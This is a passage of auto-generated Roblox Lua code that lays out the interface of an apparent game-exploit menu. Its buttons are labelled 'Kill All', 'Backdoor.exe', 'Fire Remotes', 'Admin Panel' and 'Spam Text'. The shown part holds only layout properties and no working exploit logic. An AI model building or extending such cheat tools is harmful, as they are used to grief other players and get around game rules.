sectitle_2.Size = UDim2.new(0, 149, 0, 30)
sectitle_2.Font = Enum.Font.SourceSansBold
sectitle_2.Text = "LocalPlayer"
sectitle_2.TextColor3 = Color3.fromRGB(255, 255, 255)
sectitle_2.TextSize = 14.000

button_15.Name = "button"
button_15.Parent = lp
button_15.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_15.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_15.BorderSizePixel = 3
button_15.Position = UDim2.new(0, 0, 0.0980392173, 0)
button_15.Size = UDim2.new(0, 71, 0, 25)
button_15.Font = Enum.Font.SourceSans
button_15.Text = "Billboard Gui"
button_15.TextColor3 = Color3.fromRGB(255, 255, 255)
button_15.TextSize = 14.000
button_15.TextWrapped = true

button_16.Name = "button"
button_16.Parent = lp
button_16.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_16.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_16.BorderSizePixel = 3
button_16.Position = UDim2.new(0.523489952, 0, 0.0980392173, 0)
button_16.Size = UDim2.new(0, 71, 0, 25)
button_16.Font = Enum.Font.SourceSans
button_16.Text = "Change Name"
button_16.TextColor3 = Color3.fromRGB(255, 255, 255)
button_16.TextSize = 14.000

button_17.Name = "button"
button_17.Parent = lp
button_17.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_17.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_17.BorderSizePixel = 3
button_17.Position = UDim2.new(0, 0, 0.179738566, 0)
button_17.Size = UDim2.new(0, 71, 0, 25)
button_17.Font = Enum.Font.SourceSans
button_17.Text = "Set Walkspeed"
button_17.TextColor3 = Color3.fromRGB(255, 255, 255)
button_17.TextSize = 14.000

button_18.Name = "button"
button_18.Parent = lp
button_18.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_18.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_18.BorderSizePixel = 3
button_18.Position = UDim2.new(0.523489952, 0, 0.179738566, 0)
button_18.Size = UDim2.new(0, 71, 0, 25)
button_18.Font = Enum.Font.SourceSans
button_18.Text = "Floating Pad"
button_18.TextColor3 = Color3.fromRGB(255, 255, 255)
button_18.TextSize = 14.000

button_19.Name = "button"
button_19.Parent = lp
button_19.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_19.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_19.BorderSizePixel = 3
button_19.Position = UDim2.new(0, 0, 0.261437923, 0)
button_19.Size = UDim2.new(0, 71, 0, 25)
button_19.Font = Enum.Font.SourceSans
button_19.Text = "Set Platform"
button_19.TextColor3 = Color3.fromRGB(255, 255, 255)
button_19.TextSize = 14.000

button_20.Name = "button"
button_20.Parent = lp
button_20.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_20.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_20.BorderSizePixel = 3
button_20.Position = UDim2.new(0.523489952, 0, 0.261437923, 0)
button_20.Size = UDim2.new(0, 71, 0, 25)
button_20.Font = Enum.Font.SourceSans
button_20.Text = "Spam Text"
button_20.TextColor3 = Color3.fromRGB(255, 255, 255)
button_20.TextSize = 14.000

button_21.Name = "button"
button_21.Parent = lp
button_21.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_21.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_21.BorderSizePixel = 3
button_21.Position = UDim2.new(0, 0, 0.343137264, 0)
button_21.Size = UDim2.new(0, 71, 0, 25)
button_21.Font = Enum.Font.SourceSans
button_21.Text = "Chicken Arms"
button_21.TextColor3 = Color3.fromRGB(255, 255, 255)
button_21.TextSize = 14.000

button_22.Name = "button"
button_22.Parent = lp
button_22.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_22.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_22.BorderSizePixel = 3
button_22.Position = UDim2.new(0.523489952, 0, 0.343137264, 0)
button_22.Size = UDim2.new(0, 71, 0, 25)
button_22.Font = Enum.Font.SourceSans
button_22.Text = "Set Gravity"
button_22.TextColor3 = Color3.fromRGB(255, 255, 255)
button_22.TextSize = 14.000

button_23.Name = "button"
button_23.Parent = lp
button_23.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_23.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_23.BorderSizePixel = 3
button_23.Position = UDim2.new(0, 0, 0.424836606, 0)
button_23.Size = UDim2.new(0, 71, 0, 25)
button_23.Font = Enum.Font.SourceSans
button_23.Text = "Set Jump"
button_23.TextColor3 = Color3.fromRGB(255, 255, 255)
button_23.TextSize = 14.000

button_24.Name = "button"
button_24.Parent = lp
button_24.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_24.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_24.BorderSizePixel = 3
button_24.Position = UDim2.new(0.523489952, 0, 0.424836606, 0)
button_24.Size = UDim2.new(0, 71, 0, 25)
button_24.ZIndex = 2
button_24.Font = Enum.Font.SourceSans
button_24.Text = "Head Shake"
button_24.TextColor3 = Color3.fromRGB(255, 255, 255)
button_24.TextSize = 14.000

pgname.Name = "pgname"
pgname.Parent = page1
pgname.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
pgname.BorderColor3 = Color3.fromRGB(255, 0, 0)
pgname.BorderSizePixel = 3
pgname.LayoutOrder = 3
pgname.Position = UDim2.new(-0.00333332852, 0, 0.86601305, 0)
pgname.Size = UDim2.new(0, 300, 0, 40)
pgname.ZIndex = 3
pgname.Font = Enum.Font.SourceSansBold
pgname.Text = "Page 1"
pgname.TextColor3 = Color3.fromRGB(255, 255, 255)
pgname.TextSize = 19.000

page3.Name = "page3"
page3.Parent = main
page3.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
page3.BorderColor3 = Color3.fromRGB(255, 0, 0)
page3.BorderSizePixel = 3
page3.Position = UDim2.new(0, 0, 0.182500005, 0)
page3.Size = UDim2.new(0, 298, 0, 306)
page3.Visible = false

guir.Name = "guir"
guir.Parent = page3
guir.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
guir.BorderColor3 = Color3.fromRGB(255, 0, 0)
guir.BorderSizePixel = 3
guir.Size = UDim2.new(0, 149, 0, 306)

sectitle_3.Name = "sectitle"
sectitle_3.Parent = guir
sectitle_3.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
sectitle_3.BorderColor3 = Color3.fromRGB(255, 0, 0)
sectitle_3.BorderSizePixel = 3
sectitle_3.Size = UDim2.new(0, 149, 0, 30)
sectitle_3.Font = Enum.Font.SourceSansBold
sectitle_3.Text = "Guis and Remotes"
sectitle_3.TextColor3 = Color3.fromRGB(255, 255, 255)
sectitle_3.TextSize = 14.000

button_25.Name = "button"
button_25.Parent = guir
button_25.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_25.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_25.BorderSizePixel = 3
button_25.Position = UDim2.new(0, 0, 0.0980392173, 0)
button_25.Size = UDim2.new(0, 71, 0, 25)
button_25.Font = Enum.Font.SourceSans
button_25.Text = "T0PK3K"
button_25.TextColor3 = Color3.fromRGB(255, 255, 255)
button_25.TextSize = 14.000

button_26.Name = "button"
button_26.Parent = guir
button_26.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_26.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_26.BorderSizePixel = 3
button_26.Position = UDim2.new(0.523489952, 0, 0.0980392173, 0)
button_26.Size = UDim2.new(0, 71, 0, 25)
button_26.Font = Enum.Font.SourceSans
button_26.Text = "Admin Panel"
button_26.TextColor3 = Color3.fromRGB(255, 255, 255)
button_26.TextSize = 14.000

button_27.Name = "button"
button_27.Parent = guir
button_27.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_27.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_27.BorderSizePixel = 3
button_27.Position = UDim2.new(0, 0, 0.179738566, 0)
button_27.Size = UDim2.new(0, 71, 0, 25)
button_27.Font = Enum.Font.SourceSans
button_27.Text = "Project Soviet"
button_27.TextColor3 = Color3.fromRGB(255, 255, 255)
button_27.TextSize = 14.000

button_28.Name = "button"
button_28.Parent = guir
button_28.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_28.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_28.BorderSizePixel = 3
button_28.Position = UDim2.new(0.523489952, 0, 0.179738566, 0)
button_28.Size = UDim2.new(0, 71, 0, 25)
button_28.Font = Enum.Font.SourceSans
button_28.Text = "Harked"
button_28.TextColor3 = Color3.fromRGB(255, 255, 255)
button_28.TextSize = 14.000

button_29.Name = "button"
button_29.Parent = guir
button_29.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_29.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_29.BorderSizePixel = 3
button_29.Position = UDim2.new(0.523489952, 0, 0.343137264, 0)
button_29.Size = UDim2.new(0, 71, 0, 25)
button_29.Font = Enum.Font.SourceSans
button_29.Text = "Fire Remotes"
button_29.TextColor3 = Color3.fromRGB(255, 255, 255)
button_29.TextSize = 14.000

button_30.Name = "button"
button_30.Parent = guir
button_30.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_30.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_30.BorderSizePixel = 3
button_30.Position = UDim2.new(0, 0, 0.343137264, 0)
button_30.Size = UDim2.new(0, 71, 0, 25)
button_30.Font = Enum.Font.SourceSans
button_30.Text = "Comet"
button_30.TextColor3 = Color3.fromRGB(255, 255, 255)
button_30.TextSize = 14.000

button_31.Name = "button"
button_31.Parent = guir
button_31.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_31.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_31.BorderSizePixel = 3
button_31.Position = UDim2.new(0.523489952, 0, 0.261437923, 0)
button_31.Size = UDim2.new(0, 71, 0, 25)
button_31.Font = Enum.Font.SourceSans
button_31.Text = "SimpleSpy"
button_31.TextColor3 = Color3.fromRGB(255, 255, 255)
button_31.TextSize = 14.000

button_32.Name = "button"
button_32.Parent = guir
button_32.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_32.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_32.BorderSizePixel = 3
button_32.Position = UDim2.new(0, 0, 0.261437923, 0)
button_32.Size = UDim2.new(0, 71, 0, 25)
button_32.Font = Enum.Font.SourceSans
button_32.Text = "FraktureSS"
button_32.TextColor3 = Color3.fromRGB(255, 255, 255)
button_32.TextSize = 14.000

button_33.Name = "button"
button_33.Parent = guir
button_33.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_33.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_33.BorderSizePixel = 3
button_33.Position = UDim2.new(0, 0, 0.424836606, 0)
button_33.Size = UDim2.new(0, 71, 0, 25)
button_33.Font = Enum.Font.SourceSans
button_33.Text = "ReplicationUI"
button_33.TextColor3 = Color3.fromRGB(255, 255, 255)
button_33.TextSize = 14.000

button_34.Name = "button"
button_34.Parent = guir
button_34.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_34.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_34.BorderSizePixel = 3
button_34.Position = UDim2.new(0.523489952, 0, 0.424836606, 0)
button_34.Size = UDim2.new(0, 71, 0, 25)
button_34.Font = Enum.Font.SourceSans
button_34.Text = "Backdoor.exe"
button_34.TextColor3 = Color3.fromRGB(255, 255, 255)
button_34.TextSize = 14.000

misc.Name = "misc"
misc.Parent = page3
misc.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
misc.BorderColor3 = Color3.fromRGB(255, 0, 0)
misc.BorderSizePixel = 3
misc.Position = UDim2.new(0.5, 0, 0, 0)
misc.Size = UDim2.new(0, 149, 0, 306)
sectitle_4.Name = "sectitle"
sectitle_4.Parent = misc
sectitle_4.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
sectitle_4.BorderColor3 = Color3.fromRGB(255, 0, 0)
sectitle_4.BorderSizePixel = 3
sectitle_4.Size = UDim2.new(0, 149, 0, 30)
sectitle_4.Font = Enum.Font.SourceSansBold
sectitle_4.Text = "Misc."
sectitle_4.TextColor3 = Color3.fromRGB(255, 255, 255)
sectitle_4.TextSize = 14.000

button_35.Name = "button"
button_35.Parent = misc
button_35.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_35.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_35.BorderSizePixel = 3
button_35.Position = UDim2.new(0, 0, 0.0980392173, 0)
button_35.Size = UDim2.new(0, 71, 0, 25)
button_35.Font = Enum.Font.SourceSans
button_35.Text = "Punch Tool"
button_35.TextColor3 = Color3.fromRGB(255, 255, 255)
button_35.TextSize = 14.000

button_36.Name = "button"
button_36.Parent = misc
button_36.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_36.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_36.BorderSizePixel = 3
button_36.Position = UDim2.new(0.523489952, 0, 0.0980392173, 0)
button_36.Size = UDim2.new(0, 71, 0, 25)
button_36.Font = Enum.Font.SourceSans
button_36.Text = "Classic Btools"
button_36.TextColor3 = Color3.fromRGB(255, 255, 255)
button_36.TextSize = 14.000

button_37.Name = "button"
button_37.Parent = misc
button_37.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_37.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_37.BorderSizePixel = 3
button_37.Position = UDim2.new(0, 0, 0.179738566, 0)
button_37.Size = UDim2.new(0, 71, 0, 25)
button_37.Font = Enum.Font.SourceSans
button_37.Text = "F3X (Client)"
button_37.TextColor3 = Color3.fromRGB(255, 255, 255)
button_37.TextSize = 14.000

button_38.Name = "button"
button_38.Parent = misc
button_38.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_38.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_38.BorderSizePixel = 3
button_38.Position = UDim2.new(0.523489952, 0, 0.179738566, 0)
button_38.Size = UDim2.new(0, 71, 0, 25)
button_38.Font = Enum.Font.SourceSans
button_38.Text = "commit oof"
button_38.TextColor3 = Color3.fromRGB(255, 255, 255)
button_38.TextSize = 14.000
button_39.Name = "button"
button_39.Parent = misc
button_39.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_39.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_39.BorderSizePixel = 3
button_39.Position = UDim2.new(0, 0, 0.261437923, 0)
button_39.Size = UDim2.new(0, 71, 0, 25)
button_39.Font = Enum.Font.SourceSans
button_39.Text = "Destroy GUI"
button_39.TextColor3 = Color3.fromRGB(255, 255, 255)
button_39.TextSize = 14.000

button_40.Name = "button"
button_40.Parent = misc
button_40.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_40.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_40.BorderSizePixel = 3
button_40.Position = UDim2.new(0.523489952, 0, 0.261437923, 0)
button_40.Size = UDim2.new(0, 71, 0, 25)
button_40.Font = Enum.Font.SourceSans
button_40.Text = "Dex Explorer"
button_40.TextColor3 = Color3.fromRGB(255, 255, 255)
button_40.TextSize = 14.000

button_41.Name = "button"
button_41.Parent = misc
button_41.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_41.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_41.BorderSizePixel = 3
button_41.Position = UDim2.new(0, 0, 0.343137264, 0)
button_41.Size = UDim2.new(0, 71, 0, 25)
button_41.Font = Enum.Font.SourceSans
button_41.Text = "Sword Tool"
button_41.TextColor3 = Color3.fromRGB(255, 255, 255)
button_41.TextSize = 14.000

button_42.Name = "button"
button_42.Parent = misc
button_42.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_42.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_42.BorderSizePixel = 3
button_42.Position = UDim2.new(0.523489952, 0, 0.343137264, 0)
button_42.Size = UDim2.new(0, 71, 0, 25)
button_42.Font = Enum.Font.SourceSans
button_42.Text = "Discord Invite"
button_42.TextColor3 = Color3.fromRGB(255, 255, 255)
button_42.TextSize = 14.000

pgname_2.Name = "pgname"
pgname_2.Parent = page3
pgname_2.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
pgname_2.BorderColor3 = Color3.fromRGB(255, 0, 0)
pgname_2.BorderSizePixel = 3
pgname_2.LayoutOrder = 3
pgname_2.Position = UDim2.new(-0.00333332852, 0, 0.86601305, 0)
pgname_2.Size = UDim2.new(0, 300, 0, 40)
pgname_2.ZIndex = 3
pgname_2.Font = Enum.Font.SourceSansBold
pgname_2.Text = "Page 3"
pgname_2.TextColor3 = Color3.fromRGB(255, 255, 255)
pgname_2.TextSize = 19.000

page2.Name = "page2"
page2.Parent = main
page2.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
page2.BorderColor3 = Color3.fromRGB(255, 0, 0)
page2.BorderSizePixel = 3
page2.Position = UDim2.new(0, 0, 0.182500005, 0)
page2.Size = UDim2.new(0, 298, 0, 306)
page2.Visible = false

fds.Name = "fds"
fds.Parent = page2
fds.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
fds.BorderColor3 = Color3.fromRGB(255, 0, 0)
fds.BorderSizePixel = 3
fds.Size = UDim2.new(0, 149, 0, 306)

sectitle_5.Name = "sectitle"
sectitle_5.Parent = fds
sectitle_5.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
sectitle_5.BorderColor3 = Color3.fromRGB(255, 0, 0)
sectitle_5.BorderSizePixel = 3
sectitle_5.Size = UDim2.new(0, 149, 0, 30)
sectitle_5.Font = Enum.Font.SourceSansBold
sectitle_5.Text = "Client-Sided Scripts (NOBODY SEES THEM)"
sectitle_5.TextColor3 = Color3.fromRGB(255, 255, 255)
sectitle_5.TextSize = 14.000
sectitle_5.TextWrapped = true

button_43.Name = "button"
button_43.Parent = fds
button_43.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_43.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_43.BorderSizePixel = 3
button_43.Position = UDim2.new(0, 0, 0.0980392173, 0)
button_43.Size = UDim2.new(0, 71, 0, 25)
button_43.Font = Enum.Font.SourceSans
button_43.Text = "Play Music"
button_43.TextColor3 = Color3.fromRGB(255, 255, 255)
button_43.TextSize = 14.000

button_44.Name = "button"
button_44.Parent = fds
button_44.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_44.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_44.BorderSizePixel = 3
button_44.Position = UDim2.new(0.523489952, 0, 0.0980392173, 0)
button_44.Size = UDim2.new(0, 71, 0, 25)
button_44.Font = Enum.Font.SourceSans
button_44.Text = "Disco Fog"
button_44.TextColor3 = Color3.fromRGB(255, 255, 255)
button_44.TextSize = 14.000

button_45.Name = "button"
button_45.Parent = fds
button_45.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_45.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_45.BorderSizePixel = 3
button_45.Position = UDim2.new(0, 0, 0.179738566, 0)
button_45.Size = UDim2.new(0, 71, 0, 25)
button_45.Font = Enum.Font.SourceSans
button_45.Text = "c00lify"
button_45.TextColor3 = Color3.fromRGB(255, 255, 255)
button_45.TextSize = 14.000

button_46.Name = "button"
button_46.Parent = fds
button_46.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_46.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_46.BorderSizePixel = 3
button_46.Position = UDim2.new(0.523489952, 0, 0.179738566, 0)
button_46.Size = UDim2.new(0, 71, 0, 25)
button_46.Font = Enum.Font.SourceSans
button_46.Text = "MLG Particles"
button_46.TextColor3 = Color3.fromRGB(255, 255, 255)
button_46.TextSize = 14.000

btools.Name = "btools"
btools.Parent = page2
btools.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
btools.BorderColor3 = Color3.fromRGB(255, 0, 0)
btools.BorderSizePixel = 3
btools.Position = UDim2.new(0.5, 0, 0, 0)
btools.Size = UDim2.new(0, 149, 0, 306)

sectitle_6.Name = "sectitle"
sectitle_6.Parent = btools
sectitle_6.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
sectitle_6.BorderColor3 = Color3.fromRGB(255, 0, 0)
sectitle_6.BorderSizePixel = 3
sectitle_6.Size = UDim2.new(0, 149, 0, 30)
sectitle_6.Font = Enum.Font.SourceSansBold
sectitle_6.Text = "F3X Scripts"
sectitle_6.TextColor3 = Color3.fromRGB(255, 255, 255)
sectitle_6.TextSize = 14.000

button_47.Name = "button"
button_47.Parent = btools
button_47.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_47.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_47.BorderSizePixel = 3
button_47.Position = UDim2.new(0, 0, 0.0980392173, 0)
button_47.Size = UDim2.new(0, 71, 0, 25)
button_47.Font = Enum.Font.SourceSans
button_47.Text = "Set Skybox"
button_47.TextColor3 = Color3.fromRGB(255, 255, 255)
button_47.TextSize = 14.000

button_48.Name = "button"
button_48.Parent = btools
button_48.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_48.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_48.BorderSizePixel = 3
button_48.Position = UDim2.new(0.523489952, 0, 0.0980392173, 0)
button_48.Size = UDim2.new(0, 71, 0, 25)
button_48.Font = Enum.Font.SourceSans
button_48.Text = "Set Decal"
button_48.TextColor3 = Color3.fromRGB(255, 255, 255)
button_48.TextSize = 14.000

button_49.Name = "button"
button_49.Parent = btools
button_49.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_49.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_49.BorderSizePixel = 3
button_49.Position = UDim2.new(0, 0, 0.179738566, 0)
button_49.Size = UDim2.new(0, 71, 0, 25)
button_49.Font = Enum.Font.SourceSans
button_49.Text = "Fire Parts"
button_49.TextColor3 = Color3.fromRGB(255, 255, 255)
button_49.TextSize = 14.000

button_50.Name = "button"
button_50.Parent = btools
button_50.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_50.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_50.BorderSizePixel = 3
button_50.Position = UDim2.new(0.523489952, 0, 0.179738566, 0)
button_50.Size = UDim2.new(0, 71, 0, 25)
button_50.Font = Enum.Font.SourceSans
button_50.Text = "Fire All"
button_50.TextColor3 = Color3.fromRGB(255, 255, 255)
button_50.TextSize = 14.000

button_51.Name = "button"
button_51.Parent = btools
button_51.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_51.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_51.BorderSizePixel = 3
button_51.Position = UDim2.new(0, 0, 0.261437923, 0)
button_51.Size = UDim2.new(0, 71, 0, 25)
button_51.Font = Enum.Font.SourceSans
button_51.Text = "Raining Toad"
button_51.TextColor3 = Color3.fromRGB(255, 255, 255)
button_51.TextSize = 14.000

button_52.Name = "button"
button_52.Parent = btools
button_52.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_52.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_52.BorderSizePixel = 3
button_52.Position = UDim2.new(0.523489952, 0, 0.261437923, 0)
button_52.Size = UDim2.new(0, 71, 0, 25)
button_52.Font = Enum.Font.SourceSans
button_52.Text = "Kill All"
button_52.TextColor3 = Color3.fromRGB(255, 255, 255)
button_52.TextSize = 14.000

button_53.Name = "button"
button_53.Parent = btools
button_53.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_53.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_53.BorderSizePixel = 3
button_53.Position = UDim2.new(0, 0, 0.343137264, 0)
button_53.Size = UDim2.new(0, 71, 0, 25)
button_53.Font = Enum.Font.SourceSans
button_53.Text = "Set Baseplate"
button_53.TextColor3 = Color3.fromRGB(255, 255, 255)
button_53.TextSize = 14.000

button_54.Name = "button"
button_54.Parent = btools
button_54.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_54.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_54.BorderSizePixel = 3
button_54.Position = UDim2.new(0.523489952, 0, 0.343137264, 0)
button_54.Size = UDim2.new(0, 71, 0, 25)
button_54.Font = Enum.Font.SourceSans
button_54.Text = "Bighead All"
button_54.TextColor3 = Color3.fromRGB(255, 255, 255)
button_54.TextSize = 14.000

button_55.Name = "button"
button_55.Parent = btools
button_55.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_55.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_55.BorderSizePixel = 3
button_55.Position = UDim2.new(0, 0, 0.424836606, 0)
button_55.Size = UDim2.new(0, 71, 0, 25)
button_55.Font = Enum.Font.SourceSans
button_55.Text = "Unanchor All"
button_55.TextColor3 = Color3.fromRGB(255, 255, 255)
button_55.TextSize = 14.000

button_56.Name = "button"
button_56.Parent = btools
button_56.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_56.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_56.BorderSizePixel = 3
button_56.Position = UDim2.new(0.523489952, 0, 0.424836606, 0)
button_56.Size = UDim2.new(0, 71, 0, 25)
button_56.Font = Enum.Font.SourceSans
button_56.Text = "Disco All"
button_56.TextColor3 = Color3.fromRGB(255, 255, 255)
button_56.TextSize = 14.000

button_57.Name = "button"
button_57.Parent = btools
button_57.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_57.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_57.BorderSizePixel = 3
button_57.Position = UDim2.new(0, 0, 0.506535947, 0)
button_57.Size = UDim2.new(0, 71, 0, 25)
button_57.ZIndex = 2
button_57.Font = Enum.Font.SourceSans
button_57.Text = "Raining Spongebob"
button_57.TextColor3 = Color3.fromRGB(255, 255, 255)
button_57.TextSize = 14.000

pgname_3.Name = "pgname"
pgname_3.Parent = page2
pgname_3.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
pgname_3.BorderColor3 = Color3.fromRGB(255, 0, 0)
pgname_3.BorderSizePixel = 3
pgname_3.LayoutOrder = 3
pgname_3.Position = UDim2.new(-0.00333332852, 0, 0.86601305, 0)
pgname_3.Size = UDim2.new(0, 300, 0, 40)
pgname_3.ZIndex = 3
pgname_3.Font = Enum.Font.SourceSansBold
pgname_3.Text = "Page 2"
pgname_3.TextColor3 = Color3.fromRGB(255, 255, 255)
pgname_3.TextSize = 19.000

page4.Name = "page4"
page4.Parent = main
page4.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
page4.BorderColor3 = Color3.fromRGB(255, 0, 0)
page4.BorderSizePixel = 3
page4.Position = UDim2.new(0, 0, 0.182500005, 0)
page4.Size = UDim2.new(0, 298, 0, 306)
page4.Visible = false

pres.Name = "pres"
pres.Parent = page4
pres.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
pres.BorderColor3 = Color3.fromRGB(255, 0, 0)
pres.BorderSizePixel = 3
pres.Size = UDim2.new(0, 149, 0, 306)

sectitle_7.Name = "sectitle"
sectitle_7.Parent = pres
sectitle_7.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
sectitle_7.BorderColor3 = Color3.fromRGB(255, 0, 0)
sectitle_7.BorderSizePixel = 3
sectitle_7.Size = UDim2.new(0, 149, 0, 30)
sectitle_7.Font = Enum.Font.SourceSansBold
sectitle_7.Text = "Skybox/Decal Presets (F3X)"
sectitle_7.TextColor3 = Color3.fromRGB(255, 255, 255)
sectitle_7.TextSize = 14.000
sectitle_7.TextWrapped = true

button_58.Name = "button"
button_58.Parent = pres
button_58.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_58.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_58.BorderSizePixel = 3
button_58.Position = UDim2.new(0, 0, 0.0980392173, 0)
button_58.Size = UDim2.new(0, 71, 0, 25)
button_58.Font = Enum.Font.SourceSans
button_58.Text = "c00lkidd"
button_58.TextColor3 = Color3.fromRGB(255, 255, 255)
button_58.TextSize = 14.000

button_59.Name = "button"
button_59.Parent = pres
button_59.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_59.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_59.BorderSizePixel = 3
button_59.Position = UDim2.new(0.523489952, 0, 0.0980392173, 0)
button_59.Size = UDim2.new(0, 71, 0, 25)
button_59.Font = Enum.Font.SourceSans
button_59.Text = "1x3x5x6"
button_59.TextColor3 = Color3.fromRGB(255, 255, 255)
button_59.TextSize = 14.000

button_60.Name = "button"
button_60.Parent = pres
button_60.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_60.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_60.BorderSizePixel = 3
button_60.Position = UDim2.new(0, 0, 0.179738566, 0)
button_60.Size = UDim2.new(0, 71, 0, 25)
button_60.Font = Enum.Font.SourceSans
button_60.Text = "skrubl0rdz"
button_60.TextColor3 = Color3.fromRGB(255, 255, 255)
button_60.TextSize = 14.000

button_61.Name = "button"
button_61.Parent = pres
button_61.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_61.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_61.BorderSizePixel = 3
button_61.Position = UDim2.new(0.523489952, 0, 0.179738566, 0)
button_61.Size = UDim2.new(0, 71, 0, 25)
button_61.Font = Enum.Font.SourceSans
button_61.Text = "k00pkidd"
button_61.TextColor3 = Color3.fromRGB(255, 255, 255)
button_61.TextSize = 14.000

button_62.Name = "button"
button_62.Parent = pres
button_62.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_62.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_62.BorderSizePixel = 3
button_62.Position = UDim2.new(0.523489952, 0, 0.261437923, 0)
button_62.Size = UDim2.new(0, 71, 0, 25)
button_62.Font = Enum.Font.SourceSans
button_62.Text = "007n7"
button_62.TextColor3 = Color3.fromRGB(255, 255, 255)
button_62.TextSize = 14.000

button_63.Name = "button"
